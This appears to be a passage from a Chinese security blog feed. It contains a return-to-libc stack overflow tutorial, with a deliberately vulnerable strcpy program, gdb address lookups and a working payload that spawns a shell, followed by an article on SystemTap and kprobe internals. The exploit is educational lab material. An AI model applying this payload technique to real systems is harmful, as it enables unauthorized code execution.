<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>&#123;</span><br><span class="line">	<span class="keyword">char</span> buffer[<span class="number">128</span>];</span><br><span class="line">	<span class="keyword">if</span> (argc &lt; <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Please input one argument!\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">	<span class="built_in">strcpy</span>(buffer, argv[<span class="number">1</span>]);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;argv[1]: %s\n&quot;</span>, buffer);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>编译命令<code>gcc test.c -m32</code></p>
<p>需要关闭ASLR:<code>echo 0 &gt; /proc/sys/kernel/randomize_va_space</code></p>
<p>跟前文不同的是，由于没有关闭NP/DEP，所以栈上的shellcode是无法执行的，所以我们要用已经加载的库中的函数来执行我们想要的代码。</p>
<p>首先，使用gdb查看system以及exit函数地址，在libc中查找字符串<code>&quot;/bin/sh&quot;</code>地址：</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$</span> gdb ./a.out </span><br><span class="line">......</span><br><span class="line">Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.</span><br><span class="line">(gdb) b main</span><br><span class="line">Breakpoint <span class="number">1</span> at <span class="number">0</span>x8048470</span><br><span class="line">(gdb) <span class="built_in">r</span></span><br><span class="line">Starting program: /home/scbox/Documents/./a.out </span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0</span>x08048470 <span class="keyword">in</span> main ()</span><br><span class="line">Missing separate debuginfos, use: debuginfo<span class="literal">-install</span> glibc<span class="literal">-2</span>.<span class="number">17</span><span class="literal">-307</span>.el7.<span class="number">1</span>.i686</span><br><span class="line">(gdb) p system <span class="comment">#打印system()函数的地址</span></span><br><span class="line"><span class="variable">$1</span> = &#123;&lt;text variable, no debug info&gt;&#125; <span class="number">0</span>xf7e36f70 &lt;system&gt;</span><br><span class="line">(gdb) p <span class="keyword">exit</span> <span class="comment">#打印exit()函数的地址</span></span><br><span class="line"><span class="variable">$2</span> = &#123;&lt;text variable, no debug info&gt;&#125; <span class="number">0</span>xf7e2a7a0 &lt;<span class="keyword">exit</span>&gt;</span><br><span class="line">(gdb) info proc mappings</span><br><span class="line"><span class="keyword">process</span> <span class="number">97414</span></span><br><span class="line">Mapped address spaces:</span><br><span class="line"></span><br><span class="line">	<span class="built_in">Start</span> Addr   <span class="keyword">End</span> Addr       Size     Offset objfile</span><br><span class="line">......</span><br><span class="line">	<span class="number">0</span>xf7df7000 <span class="number">0</span>xf7df8000     <span class="number">0</span>x1000        <span class="number">0</span>x0 </span><br><span class="line">	<span class="number">0</span>xf7df8000 <span class="number">0</span>xf7fbc000   <span class="number">0</span>x1c4000        <span class="number">0</span>x0 /usr/lib/libc<span class="literal">-2</span>.<span class="number">17</span>.so <span class="comment">#起始地址</span></span><br><span class="line">	<span class="number">0</span>xf7fbc000 <span class="number">0</span>xf7fbd000     <span class="number">0</span>x1000   <span class="number">0</span>x1c4000 /usr/lib/libc<span class="literal">-2</span>.<span class="number">17</span>.so</span><br><span class="line">	<span class="number">0</span>xf7fbd000 <span class="number">0</span>xf7fbf000     <span class="number">0</span>x2000   <span class="number">0</span>x1c4000 /usr/lib/libc<span class="literal">-2</span>.<span class="number">17</span>.so</span><br><span class="line">	<span class="number">0</span>xf7fbf000 <span class="number">0</span>xf7fc0000     <span class="number">0</span>x1000   <span class="number">0</span>x1c6000 /usr/lib/libc<span class="literal">-2</span>.<span class="number">17</span>.so <span class="comment">#结束地址</span></span><br><span class="line">	<span class="number">0</span>xf7fc0000 <span class="number">0</span>xf7fc3000     <span class="number">0</span>x3000        <span class="number">0</span>x0 </span><br><span class="line">......</span><br><span class="line">	<span class="number">0</span>xfffdd000 <span class="number">0</span>xffffe000    <span class="number">0</span>x21000        <span class="number">0</span>x0 [<span class="type">stack</span>]</span><br><span class="line">(gdb) find /b <span class="number">0</span>xf7df8000, <span class="number">0</span>xf7fc0000, <span class="string">&#x27;/&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;i&#x27;</span>, <span class="string">&#x27;n&#x27;</span>, <span class="string">&#x27;/&#x27;</span>, <span class="string">&#x27;s&#x27;</span>, <span class="string">&#x27;h&#x27;</span>, <span class="number">0</span> <span class="comment">#查找字符串</span></span><br><span class="line"><span class="number">0</span>xf7f78015</span><br><span class="line"><span class="number">1</span> pattern found.</span><br><span class="line">(gdb) x/s <span class="number">0</span>xf7f78015</span><br><span class="line"><span class="number">0</span>xf7f78015:	<span class="string">&quot;/bin/sh&quot;</span></span><br></pre></td></tr></table></figure>

<p>这一步，也可以使用<code>reaelf</code> <code>strings</code>等命令查看system、exit函数地址，以及/bin/sh字符串地址：</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$</span> ldd a.out <span class="comment">#查看libc库起始地址</span></span><br><span class="line">	linux<span class="literal">-gate</span>.so.<span class="number">1</span> =&gt;  (<span class="number">0</span>xf7fd9000)</span><br><span class="line">	libc.so.<span class="number">6</span> =&gt; /lib/libc.so.<span class="number">6</span> (<span class="number">0</span>xf7df8000)</span><br><span class="line">	/lib/ld<span class="literal">-linux</span>.so.<span class="number">2</span> (<span class="number">0</span>xf7fda000)</span><br><span class="line"><span class="variable">$</span> readelf <span class="literal">-s</span> /lib/libc.so.<span class="number">6</span> | grep system<span class="selector-tag">@</span>  <span class="comment">#在libc库中查找system偏移地址</span></span><br><span class="line">   <span class="number">627</span>: <span class="number">0003</span>ef70    <span class="number">98</span> FUNC    GLOBAL DEFAULT   <span class="number">13</span> __libc_system<span class="selector-tag">@</span>@GLIBC_PRIVATE</span><br><span class="line">  <span class="number">1454</span>: <span class="number">0003</span>ef70    <span class="number">98</span> FUNC    WEAK   DEFAULT   <span class="number">13</span> system<span class="selector-tag">@</span>@GLIBC_2.<span class="number">0</span></span><br><span class="line"><span class="variable">$</span> readelf <span class="literal">-s</span> /lib/libc.so.<span class="number">6</span> | grep <span class="keyword">exit</span><span class="selector-tag">@</span>  <span class="comment">#在libc库中查找exit偏移地址</span></span><br><span class="line">   <span class="number">113</span>: <span class="number">00032</span>c70    <span class="number">58</span> FUNC    GLOBAL DEFAULT   <span class="number">13</span> __cxa_at_quick_exit<span class="selector-tag">@</span>@GLIBC_2.<span class="number">10</span></span><br><span class="line">   <span class="number">141</span>: <span class="number">000327</span>a0    <span class="number">45</span> FUNC    GLOBAL DEFAULT   <span class="number">13</span> <span class="keyword">exit</span><span class="selector-tag">@</span>@GLIBC_2.<span class="number">0</span></span><br><span class="line">   ......</span><br><span class="line"><span class="variable">$</span> strings <span class="literal">-tx</span> /lib/libc.so.<span class="number">6</span> | grep /bin/sh  <span class="comment">#在libc库中查找字符串偏移地址</span></span><br><span class="line"> <span class="number">180015</span> /bin/sh</span><br><span class="line"><span class="variable">$</span> gdb <span class="literal">-q</span>   <span class="comment">#在gdb中计算地址</span></span><br><span class="line">(gdb) p/x <span class="number">0</span>xf7df8000 + <span class="number">0</span>x0003ef70 <span class="comment">#起始地址+偏移地址</span></span><br><span class="line"><span class="variable">$1</span> = <span class="number">0</span>xf7e36f70</span><br><span class="line">(gdb) p/x <span class="number">0</span>xf7df8000 + <span class="number">0</span>x000327a0</span><br><span class="line"><span class="variable">$2</span> = <span class="number">0</span>xf7e2a7a0</span><br><span class="line">(gdb) p/x <span class="number">0</span>xf7df8000 + <span class="number">0</span>x180015</span><br><span class="line"><span class="variable">$3</span> = <span class="number">0</span>xf7f78015</span><br></pre></td></tr></table></figure>

<p>然后对应着前面的图，填充地址就可以执行了：</p>
<figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$</span> ./a.out <span class="variable">$</span>(python <span class="literal">-c</span> <span class="string">&#x27;print &quot;A&quot; * 140 + &quot;\x70\x6f\xe3\xf7&quot; + &quot;\xa0\xa7\xe2\xf7&quot; + &quot;\x15\x80\xf7\xf7&quot; + &quot;\0\0\0\0&quot;&#x27;</span>)</span><br><span class="line">argv[<span class="number">1</span>]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApo���������</span><br><span class="line">sh<span class="literal">-4</span>.<span class="number">2</span><span class="comment">#  #进入shell啦</span></span><br></pre></td></tr></table></figure>

<p>这里的A*140，是因为从buffer的起始地址到ret返回地址有140个字节的长度（具体计算可参考上一篇有关shellcode的文章）。</p>
<blockquote>
<p>这里需要注意的是，如果地址中出现0a，比如0xf7f70aa0，为\xa0\x0a\xf7\xf7，在这里\x0a在命令行参数中代表换行符\n，所以会截断字符，这是就需要替换掉这个地址，找其他函数或者字符串。如果是\x20，代表回车，需要用双引号括起来。</p>
</blockquote>
<p><code>Return to libc</code>方法的不足之处在于，如果开启了ASLR，那么我们就没法事先确定动态库的加载位置了。</p>
<p>另外还有一种方法叫<code>Return to PLT</code>，PLT在我的<a href="https://harpersu00.github.io/1e59798b.html">GOT表劫持</a>这篇文章中有介绍，是在懒加载的时候使用的，如果程序已经调用过了这个动态库函数，那么可以直接通过PLT调用，不需要知道它的实际地址。</p>
<h2 id="ROP-Return-Oriented-Programming"><a href="#ROP-Return-Oriented-Programming" class="headerlink" title="ROP (Return Oriented Programming)"></a>ROP (Return Oriented Programming)</h2><p>在<code>Return to libc</code>中我们直接找的函数地址，我们也可以将函数拆成几条指令组成的以<code>ret</code>指令结尾的小代码片段的集合，来执行，这就是ROP。（Return to libc其实就是ROP中的一个特例）</p>
<p>这些小的以<code>ret</code>指令结尾的代码片段，被称之为<code>ROP gadget</code>。（之所以是ret结尾，是因为ret之后会从栈中读取下一个返回地址（gadget），然后继续执行，这样才可以把gadget拼接到一起）</p>
<p>多个<code>ROP gadget</code>拼接成的可执行片段称为ROP链。</p>
<p>在栈上填充的用于执行ROP链的数据，成为<code>ROP Payload</code>。</p>
<blockquote>
<p>ROP是使用以ret结尾的片段。</p>
<p>使用以jmp结尾的片段叫做JOP，<code>pop esi; jmp dword[esi+0x10]</code></p>
<p>以call结尾的片段叫做COP，<code>mov eas, dword[esp+0x20]; call dwork[eax+0x20]</code></p>
<p>（JOP和COP有时也被合并到ROP中）</p>
</blockquote>
<p>ROP Gadget现在已经有很多成熟的搜索工具，比较常用的是<a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a>。</p>
<p>关于ROP的具体利用方式请查看下一篇文章<a href="">栈溢出之 ROP（二）</a></p>
]]></content>
      <categories>
        <category>漏洞利用</category>
      </categories>
  </entry>
  <entry>
    <title>Linux 动态调试之 SystemTap（原理篇）</title>
    <url>/1bc0f92f.html</url>
    <content><![CDATA[<p>Solaris 系统的DTrace是动态跟踪，动态调试技术的鼻祖，很多系统都有dtrace，比如Windows，macOS等。它是常驻在内核中的，通过用户执行的dtrace命令，把由D语言编写的脚本，提交到内核中的运行时执行。但是DTrace本身无法在linux中运行。于是大家开始尝试将DTrace移植到Linux，或者说让Linux也拥有像dtrace这样强大的动态调试工具，其中最著名的就是RedHat的SystemTap。</p>
<a id="more"></a>

<blockquote>
<p>另外，在Linux 4.9-rc1之后，出现了另一个强有力的工具BPF（The Berkeley Packet Filter），以及扩展后的eBPF，从某种程度上来说，更接近DTrace的动态追踪机制。eBPF已经被4.x版本及之后的内核集成了，它是一个持续在内核态运行的，解释执行字节码的虚拟机。性能上，编译成ebpf字节码执行，比编译内核模块要快得多。（是的，SystemTap就是编译的内核模块）</p>
</blockquote>
<p>SystemTap运行流程：</p>
<p><img src="/images/2020-12-07-Linux-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95-%E4%B9%8B-SystemTap%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/stap_flow_diagram.png"></p>
<p>如上图所示，我们使用SystemTap时，虽然编写的是.stp文件，使用的是stp自己的语言（类似于dtrace脚本语言和C语言），但systemtap会在编译过程中将这些代码翻译成C代码，再将C代码编译为内核模块.ko，最后加载内核模块。</p>
<blockquote>
<p>前4个阶段和后面3个阶段可以不在同一台机器上，即在开发机器上编译内核模块，在目标机器上运行（但内核版本要一致）。</p>
<p>stap 使用命令选项-p 序号，可以使systemtap在特定阶段停下来，比如stap -p3, 会在生成C代码之后停下来。</p>
</blockquote>
<h2 id="Parse（词法语法分析）"><a href="#Parse（词法语法分析）" class="headerlink" title="Parse（词法语法分析）"></a>Parse（词法语法分析）</h2><p>这部分跟普通的程序编译过程是一样的，parse阶段主要是解析stp代码，生成AST树（抽象语法树，Abstract Syntax Tree），检查语法错误。</p>
<h2 id="Elaborate（语义分析）"><a href="#Elaborate（语义分析）" class="headerlink" title="Elaborate（语义分析）"></a>Elaborate（语义分析）</h2><p>elaborate阶段对生成的这颗AST树进行修剪，其中又包括很多小阶段。每个小阶段都会遍历整棵树，处理每个节点。主要包括stp语言宏的展开，查找stp函数的定义，匹配stp变量类型，<strong>debuginfo相关操作</strong>，符号解析，优化器等等(可以通过选项-u跳过优化阶段)。</p>
<p>这一阶段会用到systemtap的tapset（模块集合），路径是<code>/usr/local/share/systemtap/tapset</code>，所以这个路径里的函数可以直接拿来用。tapset包含了很多systemtap预定义的事件或函数，比如通用的查询表，受限内存管理，I/O操作等等。虽然也是stp文件，但只能作为库使用，不能直接运行。这一步会查找debuginfo中对应函数/变量/路径等的偏移地址。</p>
<h2 id="Translate（生成C代码）"><a href="#Translate（生成C代码）" class="headerlink" title="Translate（生成C代码）"></a>Translate（生成C代码）</h2><p>我们使用以下代码，来简单看一下stp编译后的C代码是怎样的。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">global</span> g_s</span><br><span class="line">probe begin &#123;</span><br><span class="line">    a=<span class="number">1</span></span><br><span class="line">    printf(<span class="string">&quot;Hi %d&quot;</span>, a)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">probe oneshot &#123;</span><br><span class="line">    printf(<span class="string">&quot;I&#x27;m in&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">probe timer.ms(<span class="number">100</span>) &#123;</span><br><span class="line">    printf(<span class="string">&quot;timer&quot;</span>)</span><br><span class="line">    exit()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">probe end &#123;</span><br><span class="line">    g_s = <span class="string">&quot;now&quot;</span></span><br><span class="line">    printf(<span class="string">&quot;end %s&quot;</span>, g_s)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">probe process(<span class="string">&quot;/lib64/libc.so.6&quot;</span>).function(<span class="string">&quot;gethostbyname&quot;</span>).<span class="keyword">return</span> &#123;</span><br><span class="line">    printf(<span class="string">&quot;uprobe_gethostbyname&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>使用命令<code>stap -v test.stp -p3 &gt; test.c</code>，可以查看编译后生成的C文件。</p>
<h3 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h3><p>代码部分，首先我们看到的是一个contest的结构体：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">context</span> &#123;</span></span><br><span class="line">  <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&quot;common_probe_context.h&quot;</span></span></span><br><span class="line">  <span class="keyword">union</span> &#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">probe_8187_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">int64_t</span> l_a;</span><br><span class="line">      <span class="keyword">union</span> &#123; <span class="comment">/* block_statement: ./test.stp:2 */</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span> <span class="comment">/* source: ./test.stp:4 */</span></span><br><span class="line">          <span class="keyword">int64_t</span> __tmp2;</span><br><span class="line">        &#125;;</span><br><span class="line">      &#125;;</span><br><span class="line">    &#125; probe_8187;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">probe_8189_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">union</span> &#123; <span class="comment">/* block_statement: ./test.stp:7 */</span></span><br><span class="line">      &#125;;</span><br><span class="line">    &#125; probe_8189;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">probe_8190_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">union</span> &#123; <span class="comment">/* block_statement: ./test.stp:11 */</span></span><br><span class="line">      &#125;;</span><br><span class="line">    &#125; probe_8190;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">probe_8191_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">union</span> &#123; <span class="comment">/* block_statement: ./test.stp:16 */</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span> <span class="comment">/* source: ./test.stp:18 */</span></span><br><span class="line">          <span class="keyword">string_t</span> __tmp2;</span><br><span class="line">        &#125;;</span><br><span class="line">      &#125;;</span><br><span class="line">    &#125; probe_8191;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">probe_8193_locals</span> &#123;</span></span><br><span class="line">    &#125; probe_8193;</span><br><span class="line">  &#125; probe_locals;</span><br><span class="line">  <span class="keyword">union</span> &#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">function___global_exit__overload_0_locals</span> &#123;</span></span><br><span class="line">      <span class="comment">/* no return value */</span></span><br><span class="line">    &#125; function___global_exit__overload_0;</span><br><span class="line">  &#125; locals [MAXNESTING+<span class="number">1</span>];</span><br><span class="line">  <span class="meta">#<span class="meta-keyword">if</span> MAXNESTING &lt; 0</span></span><br><span class="line">  <span class="meta">#<span class="meta-keyword">error</span> <span class="meta-string">&quot;MAXNESTING must be positive&quot;</span></span></span><br><span class="line">  <span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">  <span class="meta">#<span class="meta-keyword">ifndef</span> STP_LEGACY_PRINT</span></span><br><span class="line">  <span class="keyword">union</span> &#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">stp_printf_1_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">int64_t</span> arg0;</span><br><span class="line">    &#125; stp_printf_1;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">stp_printf_2_locals</span> &#123;</span></span><br><span class="line">      <span class="keyword">const</span> <span class="keyword">char</span>* arg0;</span><br><span class="line">    &#125; stp_printf_2;</span><br><span class="line">  &#125; printf_locals;</span><br><span class="line">  <span class="meta">#<span class="meta-keyword">endif</span> <span class="comment">// STP_LEGACY_PRINT</span></span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>context这个结构体是在执行各个probe前后被复用的，因为一个context在某个时刻只能处于一个porbe中，所以采用了union来减少内存以及内核的栈空间，将内存设置为probe所用到的最大的变量数。<code>struct probe_xxx_locals</code>用来存储每个probe对应的本地变量。每个本地变量都被加了前缀l_，比如示例中的<code>int64_t l_a</code>。</p>
<p>long类型的变量会被编译为int64_t，即使是在32位系统上，其实也是64位整数。string类型的变量会被编译为string_t，这是<code>char[MAXSTRINGLEN]</code>的别名，也就是string的大小其实是固定的，当实际数据大于MAXSTRINGLEN时，会被截断，同样，跟字符型数组一样，当数据中存在<code>\0</code>时，也会被截断。</p>
<p>跟本地变量不同，全局变量有自己独立的结构体：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">stp_globals</span> &#123;</span></span><br><span class="line">  <span class="keyword">string_t</span> s___global_g_s;</span><br><span class="line">  <span class="keyword">rwlock_t</span> s___global_g_s_lock;</span><br><span class="line">  <span class="meta">#<span class="meta-keyword">ifdef</span> STP_TIMING</span></span><br><span class="line">  <span class="keyword">atomic_t</span> s___global_g_s_lock_skip_count;</span><br><span class="line">  <span class="keyword">atomic_t</span> s___global_g_s_lock_contention_count;</span><br><span class="line">  <span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">//这里是一个stub</span></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">stp_globals</span> <span class="title">stp_global</span> = &#123;</span></span><br><span class="line">  </span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>全局变量会被加上<code>s_global_xx</code>前缀，而且定义了对应lock。全局变量在使用的时候，都会加上对应的锁。</p>
<h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><p>对于probe begin/oneshot/end部分的结构都差不多，以下是probe begin处的代码：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">probe_8187</span> <span class="params">(struct context * __restrict__ c)</span> </span>&#123;</span><br><span class="line">  __label__ deref_fault;</span><br><span class="line">  __label__ out;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">probe_8187_locals</span> * __<span class="title">restrict__</span> <span class="title">l</span> = &amp; <span class="title">c</span>-&gt;<span class="title">probe_locals</span>.<span class="title">probe_8187</span>;</span></span><br><span class="line">  (<span class="keyword">void</span>) l;</span><br><span class="line">  l-&gt;l_a = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> (c-&gt;actionremaining &lt; <span class="number">2</span>) &#123; c-&gt;last_error = <span class="string">&quot;MAXACTION exceeded&quot;</span>; <span class="keyword">goto</span> out; &#125;</span><br><span class="line">  &#123;</span><br><span class="line">    (<span class="keyword">void</span>) </span><br><span class="line">    (&#123;</span><br><span class="line">      l-&gt;l_a = ((<span class="keyword">int64_t</span>)<span class="number">1L</span>L);</span><br><span class="line">      ((<span class="keyword">int64_t</span>)<span class="number">1L</span>L);</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    (<span class="keyword">void</span>) </span><br><span class="line">    (&#123;</span><br><span class="line">      l-&gt;__tmp2 = l-&gt;l_a;</span><br><span class="line">      #ifndef STP_LEGACY_PRINT</span><br><span class="line">        c-&gt;printf_locals.stp_printf_1.arg0 = l-&gt;__tmp2;</span><br><span class="line">        stp_printf_1 (c);</span><br><span class="line">      #<span class="keyword">else</span> <span class="comment">// STP_LEGACY_PRINT</span></span><br><span class="line">        _stp_printf (<span class="string">&quot;Hi %lld&quot;</span>, l-&gt;__tmp2);</span><br><span class="line">      #endif <span class="comment">// STP_LEGACY_PRINT</span></span><br><span class="line">      <span class="keyword">if</span> (unlikely(c-&gt;last_error || c-&gt;aborted)) <span class="keyword">goto</span> out;</span><br><span class="line">      ((<span class="keyword">int64_t</span>)<span class="number">0L</span>L);</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">  &#125;</span><br><span class="line">deref_fault: __attribute__((unused));</span><br><span class="line">out:</span><br><span class="line">  _stp_print_flush();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><code>printf</code>语句被转换成对应的内置函数调用，且代码块前后都加上了括号和花括号，防止代码污染。<code>MAXACTION exceeded</code>部分是为了限制probe的执行时间的，每个probe都有这段代码，避免出现超时导致的内核失去响应的情况。<code>probe oneshot</code>会在<code>_stp_sprint</code>代码块之后多调用一个<code>function___global_exit__overload_0</code>函数，这个函数内部调用了<code>_stp_exit</code>函数。</p>
<p>在systemtap运行时的begin和end阶段，也就是<code>systemtap_module_init</code>和<code>systemtap_module_exit</code>两个函数调用时，会调用<code>enter_be_probe</code>函数，这个函数会通过<code>struct stap_be_probe</code>中的实例，在<code>(*stp-&gt;probe-&gt;ph)(c)</code>这一行调用对应probe的handler。probe begin/oneshot/end都会注册在<code>struct stap_be_probe</code>结构中。</p>
<p>所以当systemtap启动时，会调用probe begin/oneshot，区别是oneshot会调用<code>_stp_exit</code>函数，表明将要进入end阶段了，然后在end阶段会调用probe end。</p>
<p>相比于前面三个probe对应的<code>struct stap_be_probe</code>结构，probe timer对应的是<code>struct stap_hrtimer_probe</code>，然后在<code>systemtap_module_init</code>函数中会注册timer。</p>
<p>对于process probe，对应的类型是<code>struct stapiu_consumer</code>：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">stapiu_consumer</span> <span class="title">stap_inode_uprobe_consumers</span>[] = &#123;</span></span><br><span class="line">  &#123; .return_p=<span class="number">1</span>, .target=&amp;stap_inode_uprobe_targets[<span class="number">0</span>], .offset=(<span class="keyword">loff_t</span>)<span class="number">0x119230</span>ULL, .probe=(&amp;stap_probes[<span class="number">4</span>]), &#125;,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>这里有一个<code>.offset=(loff_t)0x119230ULL</code>的值，就是<code>gethostbyname</code>函数在process<code>/lib64/libc.so.6</code>（实际指向<code>/usr/lib64/libc-2.17.so</code>）中的偏移。可以通过命令<code>readelf -f /usr/lib64/libc-2.17.so | grep gethostbyname</code> 查看。这也是编译期间为什么需要debuginfo，这样才可以找到函数对应的偏移地址，然后加上库的基地址，就是实际运行地址了。</p>
<p>systemtap会检查已存在以及新创建的进程，如果有匹配某个probe，则会通过内核API注册对应的probe，然后内核触发回调时，就会执行这个函数。所以，每个匹配的进程都会执行probe。</p>
<p>如果需要指定进程的话，可以使用-x PID（会赋值给 <em>target()</em> ），或者-c CMD（新建子进程作为*target()*）：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">_target = target()</span><br><span class="line"><span class="keyword">if</span> (pid() != _target) &#123;</span><br><span class="line">    next</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="Build（编译成内核模块-ko）"><a href="#Build（编译成内核模块-ko）" class="headerlink" title="Build（编译成内核模块.ko）"></a>Build（编译成内核模块.ko）</h2><p>前面三个阶段已经生成了c文件，但其中有关于tapset的函数只是做了简单的链接（函数路径），比如：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">c-&gt;last_stmt = <span class="string">&quot;identifier &#x27;exit&#x27; at /usr/local/share/systemstap/tapset/logging.stp:63:10&quot;</span>;</span><br></pre></td></tr></table></figure>

<p>在这个阶段，会将这部分一起编译到最终的内核模块里。</p>
<h2 id="Load-Run（加载运行）"><a href="#Load-Run（加载运行）" class="headerlink" title="Load/Run（加载运行）"></a>Load/Run（加载运行）</h2><p>这部分是通过独立的二进制文件staprun实现的，这可以将编译跟运行环境分开。在<code>staprun/staprun_funcs.c</code>文件中，<code>insert_module</code>函数通过调用系统API<code>init_module</code>，来加载内核模块。</p>
<p>内核模块探测点的处理函数被封装成接口函数，底层调用Linux提供的kprobe接口函数来注册探测点。静态指针使用tracepoints，动态指针使用kprobe，用户态使用uprobes。</p>
<blockquote>
<p>Kprobes，kernel probes，是linux内核的一个重要特性，也是一个轻量级的内核调试工具。perf、systemtap以及4.x之后出现的eBPF都是基于kprobes之上的。它主要有三类，kprobe、kreprobe、jprobe（最新的内核中已经被去掉了）。kprobe是最常使用的，可以在任何指令位置处插入探针。kretprobe可以查看函数执行结束后的参数变化，jprobe在函数进入时使用，类似于kprobe的pre_hanlder。</p>
<p>kretprobe用trampoline地址替换堆栈上的返回地址。因此当对应函数返回时，会先执行kretprobe设置的trampoline，然后再从trampoline返回到原来的返回地址。</p>
</blockquote>
<p>kprobe的运行原理跟GDB很类似，也是基于中断处理的。系统初始化的时候会注册中断处理，在x86系统上分别是<code>int 1</code>和<code>int 3</code>两个trap，对应的函数是<code>do_debug</code>以及<code>do_int3</code>。 在arm64中是BRK（异常处理）指令。</p>
<p><img src="/images/2020-12-07-Linux-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95-%E4%B9%8B-SystemTap%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/kprobe.png"></p>
<p>kprobe的运行流程：</p>
<ol>
<li>注册kprobe。一个kprobe结构体对应一个探针，包含有插入点地址，以及保存该插入点的原始指令original_opcode</li>
<li>替换原有指令。将插入点的指令替换为0xcc(int 3, ARM替换为BRK)。这样当CPU执行到该位置时，就会触发int 3或异常处理。</li>
<li>进入异常态执行pre_handler。找到该位置信息对应的kprobe，执行pre_handler。并将相应寄存器设置成单步调试single-step，将下一条指令设置为original_opcode，然后从异常态返回。</li>
<li>再次陷入异常态执行post_handler。因为在上一步将下一条即将执行的指令设置为了original_opcode，且设置了single-step。因此从int 3返回后会立即执行原有指令，紧接着触发int 1(single-step)，再次进入异常态。这时首先清除single-step相关的寄存器tag，然后执行kprobe的post_handler，最后从异常态安全返回。</li>
</ol>
<p>以上就是kprobe执行过程，就是将原有的一条指令扩展成为<strong>执行pre_handler-&gt;执行原有指令-&gt;执行post_handler</strong>。</p>
<p>systemtap就是调用的kprobe接口函数来注册stp脚本中定义的探测点。当内核运行到探测点时，就会调用对应的处理函数，其中的输出语句将会通过调用<code>relayfs</code>的接口函数输出数据，也就是下一步的通讯过程。</p>
